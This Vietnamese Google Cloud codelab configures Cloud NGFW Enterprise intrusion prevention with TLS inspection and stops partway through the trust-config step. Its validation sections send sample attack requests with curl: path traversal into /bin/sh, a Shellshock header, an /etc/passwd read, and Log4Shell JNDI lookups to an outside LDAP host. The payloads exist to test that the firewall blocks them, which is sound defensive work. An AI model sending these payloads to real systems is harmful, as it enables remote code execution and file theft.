1. Giới thiệu
Tường lửa thế hệ mới (NGFW) trên đám mây
Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối toàn diện, có các chức năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi bao phủ rộng rãi để bảo vệ các khối lượng công việc của bạn trên Google Cloud khỏi các cuộc tấn công từ bên trong và bên ngoài.
Cloud NGFW có những lợi ích sau:
- Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trạng thái và được phân phối đầy đủ trên mỗi khối lượng công việc để cho phép kiến trúc bảo mật không tin tưởng bất cứ nguồn nào.
- Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa theo hệ thống phân cấp và mạng có thể được đính kèm vào một nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm nhất quán về tường lửa trên hệ thống phân cấp tài nguyên của Google Cloud.
- Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) chi phối giúp kiểm soát chặt chẽ cả lưu lượng truy cập bắc – nam và đông – tây, xuống đến một máy ảo duy nhất, trên các mạng Đám mây riêng ảo (VPC) và tổ chức.
Cloud NGFW có các cấp sau:
- Tường lửa thế hệ mới trên đám mây (phiên bản cơ bản)
- Tường lửa thế hệ mới trên đám mây (chuẩn)
- Tường lửa thế hệ mới trên đám mây dành cho doanh nghiệp
Cloud NGFW Enterprise
Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng ở Lớp 7, vào cấu trúc Tường lửa Google Cloud phân tán. Tính năng kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá bằng TLS.
Giờ đây, bạn có thể triển khai các hoạt động kiểm tra tường lửa thế hệ tiếp theo (NGFW) đáng tin cậy ở Lớp 7 với các chế độ kiểm soát chi tiết mà không cần thay đổi cấu trúc mạng hoặc cấu hình định tuyến.
Để kích hoạt và triển khai chế độ kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các thao tác sau:
- Tạo một nhóm điểm cuối tường lửa theo khu vực do Google Cloud quản lý.
- Bạn có thể chọn tạo Chính sách kiểm tra TLS.
- Bạn có thể tạo một Cấu hình tin cậy (không bắt buộc).
- Liên kết các điểm cuối này với mạng Đám mây riêng tư ảo (VPC) nơi bạn cần dịch vụ Cloud NGFW Enterprise.
- Thực hiện các thay đổi đơn giản đối với chính sách tường lửa và quy tắc tường lửa hiện có để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.
Chính sách về tường lửa mạng
Chính sách tường lửa mạng đóng vai trò là một vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng sẽ không được thực thi ở bất kỳ đâu cho đến khi chính sách đó được liên kết với một mạng VPC. Mỗi mạng VPC có thể có một chính sách tường lửa mạng được liên kết. Các chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ là Thẻ) trong các quy tắc tường lửa. Các thẻ này thay thế thẻ mạng hiện tại và có thể dùng để cung cấp danh tính cho tải.
Việc chia sẻ chính sách tường lửa mạng trên nhiều mạng và tích hợp với các Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.
Khi chính sách tường lửa mạng được ra mắt, các chính sách tường lửa của Google Cloud hiện bao gồm những thành phần sau:
- Chính sách tường lửa theo hệ thống phân cấp
- Quy tắc về tường lửa VPC
- Chính sách tường lửa mạng ( Toàn cầu và Theo khu vực)
Chính sách tường lửa theo hệ thống phân cấp được hỗ trợ tại các nút tổ chức và thư mục trong hệ thống phân cấp tài nguyên, trong khi các quy tắc tường lửa VPC và chính sách tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng là các quy tắc tường lửa VPC chỉ có thể được áp dụng cho một mạng VPC duy nhất, trong khi chính sách tường lửa mạng có thể được đính kèm vào một VPC duy nhất hoặc nhóm VPC, cùng với những lợi ích khác như cập nhật hàng loạt.
Cuối cùng, chúng ta cũng có các quy tắc tường lửa ngầm định đi kèm với mọi mạng VPC:
- Một quy tắc lưu lượng truy cập đi có hành động là cho phép, đích đến là 0.0.0.0/0
- Một quy tắc đầu vào có hành động là từ chối, nguồn là 0.0.0.0/0
Theo mặc định, trình tự thực thi được minh hoạ trong sơ đồ sau:

Xin lưu ý rằng bạn có thể hoán đổi thứ tự thực thi giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng toàn cầu. Khách hàng có thể chỉ định thứ tự thực thi bất cứ lúc nào bằng lệnh gcloud.
Thẻ (từ khoá)
Các thẻ mới được tích hợp trong quy tắc chính sách tường lửa mạng là các tài nguyên cặp khoá-giá trị được xác định ở cấp tổ chức hoặc dự án trong hệ thống phân cấp tài nguyên của Google Cloud. Thẻ như vậy chứa các chế độ kiểm soát quyền truy cập IAM, trong đó chỉ định những người có thể làm gì trên thẻ. Ví dụ: quyền Quản lý danh tính và quyền truy cập (IAM) cho phép chủ thể chỉ định những chủ thể nào có thể chỉ định giá trị cho thẻ và những chủ thể nào có thể đính kèm thẻ vào tài nguyên. Nếu một quy tắc tường lửa mạng tham chiếu đến một Thẻ, thì quy tắc đó phải được áp dụng cho một tài nguyên để thực thi.
Thẻ tuân theo mô hình tài nguyên kế thừa của Google Cloud, tức là thẻ và giá trị của thẻ được truyền xuống trong hệ thống phân cấp từ thẻ gốc. Do đó, bạn có thể tạo thẻ ở một nơi rồi sử dụng cho các thư mục và dự án khác trong hệ thống phân cấp tài nguyên. Hãy truy cập vào trang này để biết thông tin chi tiết về thẻ và quy định hạn chế truy cập.
Đừng nhầm lẫn thẻ với thẻ mạng. Sau này là các chuỗi có thể được thêm vào các phiên bản Compute Engine; chúng được liên kết với phiên bản và biến mất khi phiên bản ngừng hoạt động. Các quy tắc tường lửa VPC có thể bao gồm thẻ mạng, nhưng vì không được coi là tài nguyên đám mây nên không phải tuân theo chế độ kiểm soát quyền truy cập IAM.
Xin lưu ý rằng Thẻ và Thẻ do IAM quản lý được dùng thay thế cho nhau trong tài liệu này.
Sản phẩm bạn sẽ tạo ra
Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng VPC cũng như quản lý một số tài nguyên mạng và bảo mật. Phần này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:
- Kiểm tra các luồng lưu lượng truy cập internet theo hướng bắc bằng tính năng kiểm tra TLS
- Kiểm tra các luồng trong VPC [Đông – Tây] bằng tính năng kiểm tra TLS
Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các thông số so khớp của Tường lửa trên đám mây, bao gồm 5 bộ (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ.

Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng bên dưới:
Mức độ ưu tiên | Hướng dẫn | Target | Nguồn | Đích đến | Hành động | Loại |
100 | Lưu lượng vào | Server_Tag | Kiểm tra tình trạng | Bất kỳ | Cho phép | Essentials |
200 | Lưu lượng vào | Client_Tag, Server_Tag | IAP | Bất kỳ | Cho phép | Essentials |
800 | Lưu lượng vào | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Kiểm tra L7 | Doanh nghiệp |
850 | Lưu lượng ra | Client_Tag | Bất kỳ | 10.0.0.0/24 | Cho phép | Essentials |
900 | Lưu lượng ra | Client_Tag | Bất kỳ | Bất kỳ | Kiểm tra L7 | Doanh nghiệp |
Kiến thức bạn sẽ học được
- Cách tạo chính sách tường lửa mạng.
- Cách tạo và sử dụng Thẻ với chính sách tường lửa mạng.
- Cách định cấu hình và sử dụng Cloud NGFW Enterprise có tính năng kiểm tra TLS.
Bạn cần có
- Dự án trên Google Cloud.
- Kiến thức về cách triển khai các phiên bản và định cấu hình các thành phần mạng.
- Kiến thức về cấu hình tường lửa VPC.
2. Trước khi bắt đầu
Tạo/cập nhật biến
Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.
Trong Cloud Shell, hãy chạy các lệnh bên dưới và thay thế thông tin trong dấu ngoặc nếu cần:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Bật API
Bật các API nếu bạn chưa bật:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Tạo điểm cuối doanh nghiệp Cloud NGFW
Vì quá trình tạo Điểm cuối doanh nghiệp Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thực hiện song song quá trình thiết lập cơ bản trong khi điểm cuối đang được tạo.
Tạo Nhóm hồ sơ bảo mật và Hồ sơ bảo mật:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Kết quả đầu ra dự kiến:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Xác nhận rằng bạn đã tạo tài nguyên thành công:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Tạo điểm cuối Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Quá trình tạo mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ bản để tạo các tài nguyên cần thiết song song.
5. Thiết lập cơ bản
Mạng và mạng con VPC
Mạng VPC và mạng con
Tạo mạng VPC và mạng con:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Tạo Cloud Router và cổng Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Nhiều mảnh ghép
Tạo các thực thể ứng dụng và máy chủ web:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
Thẻ ở cấp dự án
Chỉ định quyền tagAdmin cho người dùng nếu cần:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Tạo khoá và giá trị Thẻ ở cấp dự án:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Liên kết các thẻ với các thực thể:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Chính sách về tường lửa mạng toàn cầu
Tạo chính sách tường lửa mạng toàn cầu:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Tạo các quy tắc Cloud Firewall Essential cần thiết để cho phép lưu lượng truy cập từ các dải kiểm tra tình trạng và proxy nhận biết danh tính:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
Tạo các quy tắc cần thiết cho Tường lửa trên đám mây để cho phép lưu lượng truy cập vào / ra theo hướng đông – tây/ trong mạng con từ các dải cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise có tính năng kiểm tra TLS):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Liên kết chính sách tường lửa đám mây với mạng VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Liên kết điểm cuối của Tường lửa trên đám mây
Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc ưu tiên phương pháp tập lệnh.
Xác nhận rằng bạn đã hoàn tất thành công việc tạo Điểm cuối tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo máy khách đang được sử dụng):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Liên kết điểm cuối Tường lửa trên đám mây với mạng VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Quá trình liên kết mất khoảng 10 phút. Chỉ chuyển sang phần TLS khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):
gcloud network-security firewall-endpoint-associations list
Kết quả đầu ra dự kiến khi hoàn tất:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Định cấu hình tài nguyên TLS
Tạo một nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng tôi tạo cho NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký các chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Nếu bạn nhận được thông báo bên dưới, hãy trả lời y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Tạo một tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Thiết lập quyền IAM cho tài khoản dịch vụ:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Tạo tệp YAML chính sách TLS. Tệp này sẽ chứa thông tin về các tài nguyên cụ thể:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Nhập Chính sách kiểm tra TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Cập nhật mối liên kết điểm cuối để bật TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Lấy chứng chỉ CA và thêm chứng chỉ đó vào kho CA của ứng dụng:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Chuyển chứng chỉ CA cho ứng dụng:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH vào VM, di chuyển chứng chỉ CA đến /usr/local/share/ca-certificates và cập nhật kho CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Thoát về cloudshell.
Quy trình ký chứng chỉ máy chủ:
Trên cloudshell, hãy cài đặt thư viện mật mã Pyca bằng lệnh pip:
pip install --user "cryptography>=2.2.0"
Để cho phép Google Cloud SDK sử dụng thư viện mật mã học Pyca, bạn phải bật các gói trang web.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Tạo Chứng chỉ máy chủ:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Thao tác này sẽ tạo tệp cert.pem và key.pem trong cloudshell. Tiếp theo, hãy chuyển chứng chỉ và khoá sang máy chủ.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
SSH vào máy chủ để cập nhật thông tin chi tiết về chứng chỉ cho Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Di chuyển chứng chỉ và khoá vào thư mục cụ thể:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Cập nhật cấu hình ssl để sử dụng chứng chỉ đã ký:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Khởi động lại Apache:
sudo systemctl restart apache2
Xác minh trạng thái của Apache:
sudo systemctl status apache2
Thiết bị phải đang hoạt động (đang chạy).
Thoát khỏi máy ảo và tiếp tục trên cloudshell.
8. Xác thực kết nối hướng bắc và kết nối Đông/Tây
Chạy các lệnh bên dưới trong Cloud Shell và ghi lại các IP mục tiêu sẽ được sử dụng:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Mở một thẻ mới và bắt đầu kết nối SSH với máy ảo của máy khách thông qua IAP (bạn sẽ cần xác định các biến trong thẻ mới):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Chạy các lệnh bên dưới và lưu ý đến các IP đích sẽ được sử dụng. Tạo các biến thay thế các giá trị trong dấu ngoặc bằng các IP đã ghi nhận ở bước trước và đảm bảo rằng các IP đó có thể truy cập được:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Curl IP riêng tư và đảm bảo có thể truy cập được:
curl https://$target_privateip --max-time 2
Kết quả dự kiến cho yêu cầu curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Gửi các cuộc tấn công mẫu đến địa chỉ IP. Máy chủ web phải phản hồi tất cả các yêu cầu, xác nhận rằng không có hoạt động kiểm tra/ngăn chặn L7:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Kết quả dự kiến mẫu (IP riêng tư):
400 404 400 200 200
Tương tự, hãy gửi yêu cầu đến một đích đến trên Internet:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Kết quả dự kiến mẫu (đích đến trên Internet):
400 404 400 403 403
Thoát khỏi thiết bị đầu cuối của máy ảo và quay lại Cloud Shell.
9. Tạo và cập nhật các quy tắc tường lửa để kiểm tra TLS
Trước đây, chúng ta đã định cấu hình một quy tắc tường lửa để cho phép lưu lượng truy cập vào máy chủ từ mạng con nội bộ. Giờ đây, chúng tôi sẽ cập nhật các quy tắc truy cập hiện có và đặt hành động thành apply_security_profile_group. Thao tác này sẽ bật tính năng kiểm tra L7 E/W bằng TLS:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Tạo một quy tắc mới để kiểm tra L7 chiều đi bằng TLS.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Tạo một quy tắc mới để cho phép EGRESS cho E/W nhằm ngăn chặn việc kiểm tra hai lần.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Xác thực tính năng Kiểm tra TLS chiều đi
Chuyển về thẻ máy ảo của máy khách hoặc kết nối lại:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các cuộc tấn công mẫu đến một đích đến trên Internet:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Không nhận được phản hồi nào theo đầu ra dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Đặt biến thành IP máy chủ từ trước:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Gửi các yêu cầu TLS mẫu đến máy chủ:
curl https://$target_privateip --max-time 2
Kết quả đầu ra dự kiến:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Tại sao yêu cầu này không thành công? Điều này là do Tường lửa đang nhận được một chứng chỉ từ máy chủ mà không có độ tin cậy. Nếu điều này xảy ra, nó sẽ chuyển một chứng chỉ tự ký trở lại cho máy khách. Chúng ta cần thêm chứng chỉ CA vào cấu hình tin cậy để bật tính năng tin cậy.
Quay lại Cloud Shell.
11. Định cấu hình cấu hình tin cậy
Lấy chứng chỉ CA gốc và đặt chứng chỉ đó làm một biến có định dạng phù hợp.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Định cấu hình tệp YAML Cấu hình tin cậy. Tệp này chứa thông tin chi tiết về độ tin cậy, chẳng hạn như chứng chỉ CA:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
